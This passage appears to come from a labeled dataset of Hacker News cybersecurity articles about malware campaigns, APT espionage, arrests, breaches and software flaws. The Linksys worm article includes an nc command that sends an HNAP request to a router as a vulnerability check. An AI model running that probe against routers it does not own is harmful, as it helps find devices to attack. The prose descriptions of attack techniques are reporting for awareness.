The tweets contain links lead to a news video on the Wall Street Journal and once you click on the link to watch the news video, you'll be first asked to install Adobe Flash Player.
As soon as you click on the ""Install"" icon, it will actually start downloading a piece of malware and this malware then further could be used by the spammers to download even more sophisticated malware onto your system.

The researcher analyzed the malware and found it to be a remote access Trojan (RAT), which is possibly related to the Darkcomet RAT.
""According to my own dynamic analysis, the malware creates an establish connection with a remote server and drops additional malware, such as the ""notepad.exe"" that is found in the Temp folder and beaconing out to the same remote server as the initial Install file,"" said Adam.
The URL of the link is actually sticking to the domain ""www.siam-sunrise.com"" which belongs to a website for a business in Thailand. Aside from the URL, the phishing site looks quite legitimate to the Wall Street Journal website with WSJ logo to trick the visitors.

Twitter has already shut down numerous accounts related to the spam and users are highly recommended to have a good anti-virus solution on their systems and avoid clicking any suspicious link and if found, immediately report the suspicious tweets to Twitter as Spam.

",Malware
WhatsApp for Windows? Naaa.. Hackers are spamming Malware as WhatsApp Software,https://thehackernews.com/2014/01/whatsapp-for-windows-naaa-hackers-are.html,"Cyber criminals are taking advantage of the widespread popularity of the mobile messaging app 'WhatsApp'. A malware expert at the Kaspersky Lab revealed a large-scale spamming campaign, advertising a fake PC version of the WhatsApp, to spread a banking trojan.

According to the report, unaware users have received an email written in Portuguese language, it also tries to deceive the recipient with a social engineering tactic in which cyber criminals composed the malicious email informing that victims already have 11 pending friend invitations.

If users click on the ""Baixar Agora"" (Download Now) link in the spam email, they will be redirected to a Hightail.com URL to download the Trojan. Hightail is a cloud storage service, the malicious component deployed on it then downloads the malware via a server in Brazil.

The file stored on Hightail server looks like a 64-bit installation file bundled with 2.5 megabyte MP3 file. According to Virus Total engine, only 3 out of 49 anti-malware softwares are able to detect it.
""This Downloader has some anti-debugging features like: UnhandledExceptionFilter() and RaiseException() and once running, it downloads a new Trojan that is banker itself. This time the malware comes from a server in Brazil and has a low VT detection 3 of 49. The recently downloaded banker has the icon of an mp3 file. Most users would click on it, especially after seeing it is about 2.5MB in its weight.""
During execution of the malicious code, it communicates with the command & control servers to provide infection statistics and system console through the local port 1157. The Malware sends back the stolen information in the Oracle DB format. The malicious code is also able to download another payload on the infected system.

There are some interesting consideration to do:
The technique used by the attacker could result very effective in areas where the application is mostly used i.e. Latin America and Europe. The WhatsApp has more than 430 million users and 30 million added in just the last month.
Researchers identified a ""classic style of a Brazilian-created malware"" pattern, the malicious agent targeted Brazilian population much inclined to the use of WhatsApp. The language used and the fact that the Trojan is downloaded from a Brazilian server confirm the hypothesis.
This isn't the first spam email campaign that abused the WhatsApp brand, cyber criminals leveraged the service in the past November to push malware via email by tricking users into thinking they had a new voicemail message.

This week Symantec antivirus firm also identified a Windows Malware that can hack your Android Mobile. Please Pay attention to the url you click! Stay Secure.

",Malware
LeakedSource Founder Arrested for Selling 3 Billion Stolen Credentials,https://thehackernews.com/2018/01/leakedsource-operator-charged.html,"Canadian authorities have arrested and charged an Ontario man for operating a website that collected 'stolen' personal identity records and credentials from some three billion online accounts and sold them for profit.

According to the Royal Canadian Mounted Police (RCMP), the 27-year-old Jordan Evan Bloom of Thornhill is the person behind the notorious LeakedSource.com—a major repository that compiled public data breaches and sold access to the data, including plaintext passwords.

Launched in late 2015, LeakedSource had collected around 3 billion personal identity records and associated passwords from some of the massive data breaches, including LinkedIn, VK.com, Last.Fm, Ashley Madison, MySpace, Twitter, Weebly and Foursquare, and made them accessible and searchable to anyone for a fee.

LeakedSource was shut down, and its associated social media accounts have been suspended after the law enforcement raided its operator earlier last year.

However, another website with the same domain name hosted by servers in Russia is still in operation.

Bloom is accused of operating the notorious website and claimed to have earned nearly US$200,000 by selling stolen personal identity records and associated passwords for a ""small fee"" via his site.

Appeared in a Toronto court on Monday, January 15, Bloom charged with trafficking in identity information, mischief to data, unauthorised use of a computer, and possession of property obtained by crime, the RCMP said.

""This investigation is related to claims about a website operator alleged to have made hundreds of thousands of dollars selling personal information,"" the RCMP Cybercrime Investigative Team said in a statement.
""The RCMP will continue to work diligently with our domestic and international law enforcement partners to prosecute online criminality.""

Bloom was arrested and charged on December 22, 2017, as part of the RCMP's national cybercrime division investigation, dubbed 'Project Adoration.'

The RCMP said the Dutch national police and the United States' FBI assisted in the operation, adding the case could not have been cracked without international collaboration.

Bloom is currently in custody and due back in court on February 16.

Cybersecurity lawyer Imran Ahmad told Reuters that Bloom could face a maximum sentence 10 years in prison.

",Data_Breaches
New USBCulprit Espionage Tool Steals Data From Air-Gapped Computers,https://thehackernews.com/2020/06/air-gap-malware-usbculprit.html,"A Chinese threat actor has developed new capabilities to target air-gapped systems in an attempt to exfiltrate sensitive data for espionage, according to a newly published research by Kaspersky yesterday.

The APT, known as Cycldek, Goblin Panda, or Conimes, employs an extensive toolset for lateral movement and information stealing in victim networks, including previously unreported custom tools, tactics, and procedures in attacks against government agencies in Vietnam, Thailand, and Laos.

""One of the newly revealed tools is named USBCulprit and has been found to rely on USB media in order to exfiltrate victim data,"" Kaspersky said. ""This may suggest Cycldek is trying to reach air-gapped networks in victim environments or relies on physical presence for the same purpose.""

First observed by CrowdStrike in 2013, Cycldek has a long history of singling out defense, energy, and government sectors in Southeast Asia, particularly Vietnam, using decoy documents that exploit known vulnerabilities (e.g., CVE-2012-0158, CVE-2017-11882, CVE-2018-0802) in Microsoft Office to drop a malware called NewCore RAT.

Exfiltrating Data to Removable Drives

Kaspersky's analysis of NewCore revealed two different variants (named BlueCore and RedCore) centered around two clusters of activity, with similarities in both code and infrastructure, but also contain features that are exclusive to RedCore — namely a keylogger and an RDP logger that captures details about users connected to a system via RDP.


""Each cluster of activity had a different geographical focus,"" the researchers said. ""The operators behind the BlueCore cluster invested most of their efforts on Vietnamese targets with several outliers in Laos and Thailand, while the operators of the RedCore cluster started out with a focus on Vietnam and diverted to Laos by the end of 2018.""

Both BlueCore and RedCore implants, in turn, downloaded a variety of additional tools to facilitate lateral movement (HDoor) and extract information (JsonCookies and ChromePass) from compromised systems.

Chief among them is a malware called USBCulprit that's capable of scanning a number of paths, collecting documents with specific extensions (*.pdf;*.doc;*.wps;*docx;*ppt;*.xls;*.xlsx;*.pptx;*.rtf), and exporting them to a connected USB drive.


What's more, the malware is programmed to copy itself selectively to certain removable drives so it can move laterally to other air-gapped systems each time an infected USB drive is inserted into another machine.

A telemetry analysis by Kaspersky found that the first instance of the binary dates all the way back to 2014, with the latest samples recorded at the end of last year.

The initial infection mechanism relies on leveraging malicious binaries that mimic legitimate antivirus components to load USBCulprit in what's called DLL search order hijacking before it proceeds to collect the relevant information, save it in the form of an encrypted RAR archive, and exfiltrate the data to a connected removable device.

""The characteristics of the malware can give rise to several assumptions about its purpose and use cases, one of which is to reach and obtain data from air-gapped machines,"" the researchers said. ""This would explain the lack of any network communication in the malware and the use of only removable media as a means of transferring inbound and outbound data.""

Ultimately, the similarities and differences between the two pieces of malware are indicative of the fact that the actors behind the clusters are sharing code and infrastructure, while operating as two different offshoots under a single larger entity.

""Cycldek is an example of an actor that has broader capability than publicly perceived,"" Kaspersky concluded. ""While most known descriptions of its activity give the impression of a marginal group with sub-par capabilities, the range of tools and timespan of operations show that the group has an extensive foothold inside the networks of high-profile targets in Southeast Asia.""

",Cyber_Attack
Embassy of Kazakhstan hacked by Anonymous Supporters,https://thehackernews.com/2012/01/embassy-of-kazakhstan-hacked-by.html,"Embassy of Kazakhstan hacked by Anonymous Supporters

The official website of Embassy of Kazakhstan in Delhi having SQL injection Vulnerability, and Hacker with codename - Abs0luti0n has successfully Extract the database tables info and leak it on a pastebin note including Admin's Username and Password.

Hacker said,""Lately we have been experimenting on some new large targets which will be unveiled soon. However today while we were cruising around in our lulzmobile,we set sights momentarily on another outdated weak vehicle and with great ease put the pedal to the metal, ran all the lights and flew straight through our accquired target.""

SQL Injection is a type of web application security vulnerability in which an attacker is able to submit a database SQL command which is executed by a web application, exposing the back-end database. Attackers utilize this vulnerability by providing specially crafted input data to the SQL interpreter in such a manner that the interpreter is not able to distinguish between the intended commands and the attacker's specially crafted data. The interpreter is tricked into executing unintended commands.

SQL injection can be prevented if you adopt an input validation technique in which user input is authenticated against a set of defined rules for length, type, and syntax and also against business rules.

",Vulnerability
"Gameover Malware, variant of ZeuS Trojan uses Encryption to Bypass Detection",https://thehackernews.com/2014/02/gameover-malware-variant-of-zeus-trojan.html,"The year begins with the number of new variants of malware that were discovered by various security researchers. The new variants are more complex, sophisticated and mostly undetectable.

Two years back in 2012, the FBI warned us about the 'GameOver' banking Trojan, a variant of Zeus financial malware that spreads via phishing emails. GameOver makes fraudulent transactions from your bank once installed in your system with the capability to conduct Distributed Denial of Service, or DDoS, attack using a botnet, which involves multiple computers flooding the financial institution's server with traffic in an effort to deny legitimate users access to the site.

But that wasn't the end; a new variant of the same family of banking Trojan has been discovered by researchers that are being delivered by cyber criminals to users' machines, making it easier for the banking malware to evade detection and steal victim's banking credentials.

Malcovery's Gary Warner explains the behavior of the new variant of GameOver Zeus malware that uses Encryption to bypass perimeter security, in a blog post.

Gary Warner warned that, to get this job done the malware has been working along with other malware called 'UPATRE' via Social Engineering techniques.

New version of GameOver malware has encrypted its '.EXE' file to a non-executable format i.e. '.ENC' file, so that the malware which spreads via spam e-mails and malicious attachments can avoid being spotted by firewalls, IDS, Web filters and other security defenses.

To Spread it at large scale, spam campaign using 'Cutwail' botnet, which is designed to look like an official correspondence from banks or some government agencies that trick user to open the attached .zip file.

Gary Warner explains that, ""These .zip files contain a small .exe file whose primary job is to go out to the Internet and download larger, more sophisticated malware that would never pass through spam filters without causing alarm, but because of the way our perimeter security works, are often allowed to be downloaded by a logged in user from their workstation.""

Boldizsár Bencsáth, from the CrySys Lab in Hungary, has explained the encryption method in his blog post on Sunday, ""The droppers sent out through emails are pretty small, around 10-18 KB. These droppers have an obfuscation layer, so hard to directly analyze them.""

In the new model, the .zip file attached to the email has a new version of UPATRE malware that first downloads the .ENC file from the Internet, then Decrypt it and relocate it with a new file name, then causing it both to execute and to be scheduled to execute in the future, Warner writes.

Keep your anti virus up to date.

",Malware
Website Backdoor Scripts Leverage the Pastebin Service,https://thehackernews.com/2015/01/pastebin-wordpress-website-hacking.html,"The popular copy and paste website 'Pastebin' created a decade ago for software developers and even by hackers groups to share source code, dumps and stolen data, has more recently been leveraged by cyber criminals to target millions of users.

Compromising a website and then hosting malware on it has become an old tactic for hackers, and now they are trying their hands in compromising vast majority of users in a single stroke. Researchers have discovered that hackers are now using Pastebin to spread malicious backdoor code.

According to a blog post published yesterday by a senior malware researcher at Sucuri, Denis Sinegubko, the hackers are leveraging the weakness in older versions of the RevSlider, a popular and a premium WordPress plugin. The plugin comes packaged and bundled into the websites' themes in such a way that many website owners don't even know they have it.

In order to exploit the vulnerability, first hackers look for a RevSlider plugin in the target website and once discovered, they use a second vulnerability in Revslider and attempt to upload a malicious backdoor to the website.
""Technically, the criminals used Pastebin for what it was built for – to share code snippets,"" Sinegubko wrote in a blog post. ""The only catch is that the code is malicious, and it is used in illegal activity (hacking) directly off of the Pastebin website.""
Security researchers came across a segment of code that injects the content of a Base64-encoded $temp variable into a WordPress core wp-links-opml.php file. Researchers noticed some code is being downloaded from the legitimate Pastebin.com website and is dependent on using a parameter, wp_nonce_once, that disguises the fact that it calls upon an actual Pastebin file.

The wp_nonce_once parameter, which is commonly used to protect against unexpected or duplicate requests, also makes the malicious code difficult to block, and at the same time ""adds flexibility to the backdoor,"" the researcher claims.

This means that the malicious backdoor can be tricked to download and execute any code snippet hosted on Pastebin — even those that don't exist at the time of injection — you just need to pass a request through that wp-links-opml.php file.

So far, it's unclear exactly how widespread this malicious backdoor is, but the impact could be much dangerous when it comes to Pastebin which has 1.5 million active user accounts as of last year.

Founded in 2002, Pastebin was initially developed as an open online forum where computer developers could share programming code. But the site's gradual appeal to hackers of all ranks made it increasingly difficult to monitor the site for bad behavior. Many hacker groups share data stolen from famous companies via the service and some pastes are also known to be used in malware attacks, which may contain encrypted addresses and even base64-encoded malicious binary code.

Last month security researchers at Sucuri discovered a new type of malware threat, dubbed SoakSoak, that was modifying files in WordPress websites that used an older version of ""Slider Revolution,"" aka RevSlider, a slideshow plugin. At the time, the search engine giant Google blacklisted over 11,000 websites it spotted spreading the malware.

",Vulnerability
NSA Discovers New Vulnerabilities Affecting Microsoft Exchange Servers,https://thehackernews.com/2021/04/nsa-discovers-new-vulnerabilities.html,"In its April slate of patches, Microsoft rolled out fixes for a total of 114 security flaws, including an actively exploited zero-day and four remote code execution bugs in Exchange Server.
Of the 114 flaws, 19 are rated as Critical, 88 are rated Important, and one is rated Moderate in severity.
Chief among them is CVE-2021-28310, a privilege escalation vulnerability in Win32k that's said to be under active exploitation, allowing attackers to elevate privileges by running malicious code on a target system.
Cybersecurity firm Kaspersky, which discovered and reported the flaw to Microsoft in February, linked the zero-day exploit to a threat actor named Bitter APT, which was found exploiting a similar flaw (CVE-2021-1732) in attacks late last year.
""It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,"" Kaspersky researcher Boris Larin said.
NSA Found New Bugs Affecting Exchange Server
Also fixed by Microsoft are four remote code execution (RCE) flaws (CVE-2021-28480 through CVE-2021-28483) affecting on-premises Exchange Servers 2013, 2016, and 2019 that were reported to the company by the U.S. National Security Agency (NSA). Two of the code execution bugs are unauthenticated and require no user interaction, and carry a CVSS score of 9.8 out of a maximum of 10.
While the Windows maker said it had found no evidence of any active exploits in the wild, it's recommended that customers install these updates as soon as possible to secure the environment, particularly in light of the widespread Exchange Server hacks last month and new findings that attackers are attempting to leverage the ProxyLogon exploit to deploy malicious cryptominers onto Exchange Servers, with the payload being hosted on a compromised Exchange Server.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has also revised the emergency directive it issued last month, stating ""these vulnerabilities pose an unacceptable risk to the Federal enterprise and require an immediate and emergency action,"" while cautioning that the underlying flaws can be weaponized by reverse-engineering the patch to create an exploit.
Cybersecurity firm Check Point, which has been tracking ongoing cyber threats exploiting the Exchange Server flaws, said a total of 110,407 attacks have been prevented targeting government, manufacturing, finance, healthcare, legal, and insurance industries in the U.S., U.K., Germany, Netherlands, and Brazil.
FBI Removed Backdoors From Hacked MS Exchange servers
What's more, the U.S. Federal Bureau of Investigation (FBI) carried out a ""successful action"" to ""copy and remove"" web shells planted by adversaries on hundreds of victim computers using the ProxyLogon flaws. The FBI is said to have wiped the web shells that were installed by Hafnium that could have been used to maintain and escalate persistent, unauthorized access to U.S. networks.
""The FBI conducted the removal by issuing a command through the web shell to the server, which was designed to cause the server to delete only the web shell (identified by its unique file path),"" the Justice Department said in a statement detailing the court-authorized operation.
27 RCE Flaws in Windows RPC and Other Fixes
Microsoft also said four additional vulnerabilities were publicly known at the time of release but not exploited —
CVE-2021-28458 - Azure ms-rest-nodeauth Library Elevation of Privilege Vulnerability
CVE-2021-27091 - RPC Endpoint Mapper Service Elevation of Privilege Vulnerability
CVE-2021-28437 - Windows Installer Information Disclosure Vulnerability
CVE-2021-28312 - Windows NTFS Denial of Service Vulnerability
In addition, April's Patch Tuesday update also addresses a whopping 27 RCE flaws in Remote Procedure Call (RPC) runtime, a Hyper-V security feature bypass vulnerability (CVE-2021-28444), and multiple privilege escalation flaws in Windows Speech Runtime, Windows Services and Controller App, Windows Secure Kernel Mode, Windows Event Tracing, and Windows Installer.
Software Patches From Other Vendors
Besides Microsoft, a number of other vendors have also released a slew of patches on Tuesday —
Adobe (security updates for Photoshop, Digital Editions, RoboHelp, and Bridge)
DELL
Linux distributions SUSE, Oracle Linux, and Red Hat
SAP
Schneider Electric, and
Siemens

",Vulnerability
Linksys Malware 'The Moon' Spreading from Router to Router,https://thehackernews.com/2014/02/linksys-malware-moon-spreading-from.html,"Which Wireless Router do you have at your Home or Office? If it's a Linksys Router you could be in the danger to a new malware that attacks your firmware and replicates itself.

Security researcher Johannes B. Ullrich from the SANS Technology Institute has warned about a self-replicating malware which is exploiting authentication bypass and code-execution vulnerabilities in the Linksys wireless routers.

The Malware named as 'THE MOON', scans for other vulnerable devices to spread from router to router and Johannes confirmed that the malicious worm has already infected around 1,000 Linksys E1000, E1200, and E2400 routers.

In order to hack the Router, malware remotely calls the Home Network Administration Protocol (HNAP), allows identification, configuration and management of networking devices.

The Malware first request the model and firmware version of the router using HNAP and if the device founds vulnerable, it sends a CGI script exploit to get the local command execution access to the device.

Linksys's parent company has confirmed that HNAP1 implementation has a security flaw whose exploit code is publicly available on the Internet.

""There are about 670 different IP ranges that it scans for other routers. They appear to all belong to different cable modem and DSL ISPs. They are distributed somewhat worldwide),""

'To what extent this worm can be dangerous' is yet a question.
""We are still working on analysis what it exactly does. But so far, it looks like all it does is spread (which is why we call it a worm). It may have a 'call-home' feature that will report back when it infected new hosts.""

To verify that your device is vulnerable or not, use following command (depending on your OS):
echo [-e] ""GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n"" | nc routerip 8080
If you receive an XML HNAP reply, you are likely to be victimized for the worm affecting Linksys devices and some preventive measures are to be taken. Also keep an eye on the logs of port 80 and 8080.

Users are recommended to Disable Remote Administration of their device or limits the administration right to a limited number of trusted IP addresses.

",Malware
FlashBack Checker - Tool Detects Flashback Mac Malware,https://thehackernews.com/2012/04/flashback-checker-tool-detects.html,"FlashBack Checker - Tool Detects Flashback Mac Malware

A Mac developer has posted a tool that detects a Flashback malware infection on Apple's computers. Last week we posted about, More than 600000 Macs system infected with Flashback Botnet. That's slightly more than 1 percent of all 45 million Macs in the world still a relatively small number, but a worrisome one for Mac users, as the tally of infected machines continues to grow.

FlashBack Checker - 38KB tool was created by Juan Leon, a software engineer at Garmin International, the Kansas-based company best known for its GPS devices.

When Flashback Checker is run, it displays ""No signs of infection were found"" or provides additional information if it does detect changes the malware has made to the Mac.

According to Dr. Web, the Russian security company that was the first firm to quantify Flashback infections, nearly 2% of all Macs have been hit by the malware.

Dr. Web used a different technique to detect Flashback than Leon. Rather than examine the Mac itself, Dr. Web's tool compares the UUID (universally unique identifiers) of a machine to the list of UUIDs of infected Macs it compiled after commandeering a hacker command-and-control (C&C) server.

To help tackle the recent Flashback malware threat, Apple released a couple of updates for the Java runtime in OS X to bring it up to the latest Java release (version 1.6.0_31), which patches the vulnerability being exploited.

The download is posted to github and can run on Mac OS X10.5 and above. Leon also posted the source code for those interested in checking it out.

",Malware
FBI adds 5 Chinese APT41 hackers to its Cyber's Most Wanted List,https://thehackernews.com/2020/09/apt41-hackers-wanted-by-fbi.html,"The United States government today announced charges against 5 alleged members of a Chinese state-sponsored hacking group and 2 Malaysian hackers that are responsible for hacking more than 100 companies throughout the world.

Named as APT41 and also known as 'Barium,' 'Winnti, 'Wicked Panda,' and 'Wicked Spider,' the cyber-espionage group has been operating since at least 2012 and is not just involved in strategic intelligence collection from valuable targets in many sectors, but also behind financially motivated attacks against online gaming industry.

According to a press release published by the U.S. Justice Department, two of the five Chinese hackers—Zhang Haoran (张浩然) and Tan Dailin (谭戴林)—were charged back in August 2019, and the other three of them—Jiang Lizhi (蒋立志), Qian Chuan (钱川) and Fu Qiang (付强)—and two Malaysian co-conspirators were in separate indictments in August 2020.

The later indicted three Chinese hackers are associated with a network security company Chengdu 404 Network Technology, operated as a front by the People's Republic of China.

""FU has been working closely with JIANG since at least 2008, and worked with JIANG at multiple internet and video game related companies. FU has been working with QIAN and JIANG together since at least 2013. Before joining CHENGDU 404, FU described himself as a skilled programmer and developer,"" the court documents say.

As uncovered previously in multiple reports, the APT41 group specializes in software supply-chain attacks, where hackers steal proprietary ""source code, software code signing certificates, customer account data, and valuable business information,"" and distribute digitally signed malicious versions of the software to infect systems at targeted organizations.

According to the court documents, in some cases where the targeted systems didn't have any valuable information, defendants also used ransomware and crypto-jacking malware to monetize their efforts.

The targeted industries include ""software development companies, computer hardware manufacturers, telecommunications providers, social media companies, video game companies, non-profit organizations, universities, think tanks, and foreign governments, as well as pro-democracy politicians and activists in Hong Kong.""

""The defendants also compromised foreign government computer networks in India and Vietnam, and targeted, but did not compromise, government computer networks in the United Kingdom,"" the press release says.

The 2 Malaysian hackers—Wong Ong Hua and Ling Yang Ching—were arrested by Malaysian authorities in Sitiawan on September 14, 2020, and are being extradited to the United States. The FBI confirmed that all 5 Chinese nationals remain at large.

""In addition to arresting warrants for all of the charged defendants, in September 2020, the U.S. District Court for the District of Columbia issued seizure warrants that resulted in the recent seizure of hundreds of accounts, servers, domain names, and command-and-control (C2) 'dead drop' web pages used by the defendants to conduct their computer intrusion offenses,"" the DoJ said.

""The actions by Microsoft [other than Google, Facebook, and Verizon Media] were a significant part of the overall effort to deny the defendants continued access to hacking infrastructure, tools, accounts, and command and control domain names.""

The targeted companies were located in the United States and worldwide, including in Australia, Brazil, Chile, Hong Kong, India, Indonesia, Japan, Malaysia, Pakistan, Singapore, South Korea, Taiwan, Thailand, and Vietnam.

Zhang and Tan have been charged with 25 counts of computer fraud and money laundering, which carry a maximum sentence of 20 years in prison.

Jiang, Qian, and Fu are also facing similar charges with nine counts that carry a maximum sentence of 20 years in prison.

The indictment against Wong and Ling charges the defendants with 23 counts of similar charges, but since they are also involved in false registration of domain names, it would increase the maximum sentence of imprisonment for money laundering to 27 years.
",Cyber_Attack
Steam Browser Protocol Vulnerability can allow hackers to hijack PC,https://thehackernews.com/2012/10/steam-browser-protocol-vulnerability.html,"Italian security Researchers Luigi Auriemma and Donato Ferrante from 'ReVuln' reported the flaw in Steam Browser Protocol. Stream the popular online distribution platform with 54 million users.


The flaw allow the attacker to write arbitrary text to file and direct victims to external payloads and even the computer can take over. The popular gaming platform uses the steam:// URL protocol in order to run, install and uninstall games, backup files, connect to servers and reach various sections dedicated to customers.

It is possible to Safari, Maxthon and Firefox and other browsers based on the Mozilla engine, this quietly Steam URLs to invoke.

In report they said that browsers including Firefox and software clients including RealPlayer would execute the external URL handler without warnings and were ""a perfect vector to perform silent Steam browser protocol calls"".

The researchers demonstrated how users on the massive Source game engine, which hosts games like Half-Life and CounterStrike, could be attacked. They used four commands to write custom code to file, including a bat file that executes commands when users started up Steam. They were also able to execute remote malicious code via the Unreal engine which was affected by many integer overflow vulnerabilities.

""In one proof of concept involving the Steam browser, attackers used malicious YouTube links within Steam user profiles to bait users. Users who viewed the videos and wished to leave comments would be phished with malicious steam:// URLs that pointed to external sites."" explained by Darren Pauli.




Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Vulnerability
"Researchers Get Trolled by Chinese, Pre-Malwartized Xiaomi Mi4 was Duplicate",https://thehackernews.com/2015/03/xiaomi-mobile-security.html,"Recently a mobile-security firm Bluebox claimed that the brand new Xiaomi Mi4 LTE comes pre-installed with spyware/adware and a ""forked"" vulnerable version of Android operating system on top of it, however, the company denies the claim.

Xiaomi, which is also known as Apple of China, provides an affordable and in-budget smartphones with almost all features that an excellent smartphone provides.

On 5th March, when Bluebox researchers claimed to have discovered some critical flaws in Mi4 LTE smartphone, Xiaomi issued a statement to The Hacker News claiming that ""There are glaring inaccuracies in the Bluebox blog post"" and that they are investigating the matter.

RESEARCHERS GET TROLLED BY CHINESE SELLERS
Now, Xiaomi responded to Bluebox Labs by preparing a lengthy denial to their claims and said the new Mi4 smartphone purchased by Bluebox team in China (known as the birthplace of fake smartphones) was not an original Xiaomi smartphone but a counterfeit product.
""We have concluded our investigation on this topic — the device Bluebox obtained is 100% proven to be a counterfeit product purchased through an unofficial channel on the streets in China,"" Xiaomi spokesperson told The Hacker News in an email statement. ""It is therefore not an original Xiaomi product and it is not running official Xiaomi software, as Bluebox has also confirmed in their updated blog post.""
This means, Mi4 LTE smartphone owned by Bluebox are tempered by the local Chinese shops itself. What the Heck! Chinese get trolled by Chinese.

XIAOMI DECLINES BLUEBOX CLAIMS
Xiaomi provided a detailed step-by-step explanation on each and every fact and figure:
Hardware: Xiaomi hardware experts have analysed the internal device photos provided to the company by Bluebox and confirmed that the physical hardware is markedly different from the original Mi 4 smartphone.
IMEI number: Xiaomi after-sales team has confirmed that the IMEI on the device from Bluebox is a cloned IMEI number which has been previously used on other counterfeit Xiaomi devices in China.
Software: Xiaomi MIUI team has also confirmed that the software installed on the device from Bluebox is not an official Xiaomi MIUI build.
The company assured its customers that their devices neither come rooted, nor have any malware pre-installed.

Contrary to Bluebox claims, the company also assured its customers that the MIUI used in their products is true Android, which means MIUI follows exact Google's Android CDD (Compatibility Definition Document), and passes all Android CTS tests to make sure a given device is fully Android compatible.

Declining to Bluebox finding, Xiaomi released the following statement in an email to The Hacker News:
As this device is not an original Xiaomi product, and not running an official Xiaomi MIUI software build, Bluebox's findings are completely inaccurate and not representative of Xiaomi devices. We believe Bluebox jumped to a conclusion too quickly without a fully comprehensive investigation (for example, they did not initially follow our published hardware verification process correctly due to language barrier) and their attempts to contact Xiaomi were inadequate, considering the severity of their accusations.
With the large parallel street market for mobile phones in China, there exists counterfeit products that are almost indistinguishable on the outside. This happens across all brands, affecting both Chinese and foreign smartphone companies selling in China. Furthermore, ""entrepreneurial"" retailers may add malware and adware to these devices, and even go to the extent of pre-installing modified copies of popular benchmarking software such as CPU-Z and Antutu, which will run ""tests"" showing the hardware is legitimate.
Xiaomi takes all necessary measures to crack down on the manufacturers of fake devices or anyone who tampers with our software, supported by all levels of law enforcement agencies in China.

",Malware
Casino Sues Cyber Security Company Over Failure to Stop Hackers,https://thehackernews.com/2016/01/casino-hacker.html,"IT security firm Trustwave has been sued by a Las Vegas-based casino operator for conducting an allegedly ""woefully inadequate"" investigation following a network breach of the casino operator's system.

Affinity Gaming, an operator of 5 casinos in Nevada and 6 elsewhere in the United States, has questioned Trustwave's investigation for failing to shut down breach that directly resulted in the theft of credit card data, allowing credit card thieves to maintain their foothold during the investigation period.

The lawsuit, filed in the US District Court in Nevada, is one of the first cases of its kind where a client challenges a cyber security firm over the quality of its investigation following a hacking attack.


Casino Sued an IT Security Firm

Affinity Gaming said it hired Trustwave in late 2013 to analyze and clean up computer network intrusions that allowed attackers to obtain its customers' credit card data.

It was reported that the details on more than 300,000 credit cards used by customers in Affinity's restaurants and hotels were accessed by cyber crooks who compromised its systems.

A report submitted by Trustwave in mid-January 2014 noted that the security firm had:
Identified the source of the data breach
Contained the malware responsible for the incident

However, more than a year later after the casino operator was hit by a second payment card breach, Affinity allegedly learned from Trustwave's competing cybersecurity firm, Mandiant, that the malware had never been fully removed.

The Lawsuit Filed by the Casino Operator

Here's what Affinity claimed in its lawsuit filed at the end of December in the US district court of Nevada:
Hiring a firm with the proper data breach response expertise, such as Trustwave held itself out to be, was of paramount importance for Affinity Gaming...Affinity isn't an IT security firm and lacks the level of expertise.

With respect to the apparent data breach, Affinity Gaming was wholly dependent on and subordinate in terms of its understanding, knowledge, and capabilities, to Trustwave, relying on [it] to diagnose, investigate, and prescribe appropriate measures to address.

Mandiant's forthright and thorough investigation concluded that Trustwave's representations were untrue, and Trustwave's prior work was woefully inadequate. In reality, Trustwave lied when it claimed that its so-called investigation would diagnose and help remedy the data breach when it represented that the data breach was ""contained,"" and when it claimed that the recommendations it was offering would address the data breach. Trustwave...failed to identify the means by which the attacker had breached Affinity Gaming's data security. Thus, Trustwave could not in good faith have made the foregoing representations to Affinity Gaming.
However, Trustwave denies any wrongdoing. A Trustwave spokesperson told the Financial Times (FT) on Friday, ""We dispute and disagree with the allegations in the lawsuit and we will defend ourselves vigorously in court.""

Affinity Gaming is seeking a minimum of $100,000 in damages from Trustwave.

",Data_Breaches
North Korean Hackers Steal thousands of Military files from S. Korea,https://thehackernews.com/2016/06/north-korean-hackers.html,"Hackers aligned with North Korea have always been accused of attacking and targeting South Korean organizations, financial institutions, banks and media outlets.

Recent reports indicate that North Korean hackers have hacked into more than 140,000 computers of at least 160 South Korean government agencies and companies, and allegedly injected malware in the systems.

The cyber attack was designed to lay for a long term period against its rival, authorities in Seoul said.

The South Korean police were on high alert against cyberattacks by the North Korean hackers, especially after North Korea successfully tested a miniaturized hydrogen bomb in January and a long-range rocket launch in February, Reuters reports.

According to the police, the hacking attack began in 2014 but was detected only in February this year, after North Korea managed to steal information from two companies: the SK and Hanjin Group.

The documents stolen from the two companies included blueprints for the wings of F-15 fighter jets, an official at the South Korea cyber investigation unit confirmed.
The investigation unit said, ""There is a high possibility that the North aimed to cause confusion on a national scale by launching a simultaneous attack after securing many targets of cyber terror, or intended to continuously steal industrial and military secrets.""
More than 42,000 materials were stolen in the hack, of which more than 40,000 materials were defense-related.

Although a South Korean defense ministry official said that the stolen documents were not secret and that there wasn't any security breach, a spokesperson from SK Holdings stated that 4 group affiliates were affected by the cyber attack.

The cyber attack originated from an IP address traced down to the North Korea and was intended to target the network management software used by 160 companies and government agencies in South Korea.

The police declined to identify the malicious software, though the IP address from where the hack was originated was identical to one used in a 2013 cyberattack against banks and TV broadcasters in South Korea.

The South Korean police were then teamed up with companies and other government agencies to disable the malware and prevent the malicious code from further spreading, in what could lead to a massive cyber attack.

",Cyber_Attack
Flaw in Emergency Alert Systems Could Allow Hackers to Trigger False Alarms,https://thehackernews.com/2018/04/hacking-emergency-alert-sirens.html,"A serious vulnerability has been exposed in ""emergency alert systems"" that could be exploited remotely via radio frequencies to activate all the sirens, allowing hackers to trigger false alarms.

The emergency alert sirens are used worldwide to alert citizens about natural disasters, man-made disasters, and emergency situations, such as dangerous weather conditions, severe storms, tornadoes and terrorist attacks.

False alarms can create panic and chaos across the city, as witnessed in Dallas last year, when 156 emergency sirens were turned on for about two hours, waking up residents and sparking fears of a disaster.

Dubbed ""SirenJack Attack,"" the vulnerability discovered by a researcher at Bastille security firm affects warning sirens manufactured by Boston-based ATI Systems, which are being used across major towns and cities, as well as Universities, military facilities, and industrial sites.

